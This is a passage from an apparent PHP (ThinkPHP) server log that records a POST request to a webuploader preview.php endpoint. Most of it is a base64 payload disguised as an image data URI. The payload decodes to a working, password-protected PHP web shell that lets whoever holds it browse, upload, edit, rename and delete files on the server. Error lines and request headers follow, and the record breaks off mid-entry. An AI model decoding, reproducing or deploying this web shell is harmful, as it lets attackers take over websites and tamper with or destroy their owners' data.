'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:47+08:00 ] 116.213.36.234 POST www.51tianwei.com/Content/webuploader/0.1.5/server/preview.php [运行时间:0.002645s] [吞吐率:378.07req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 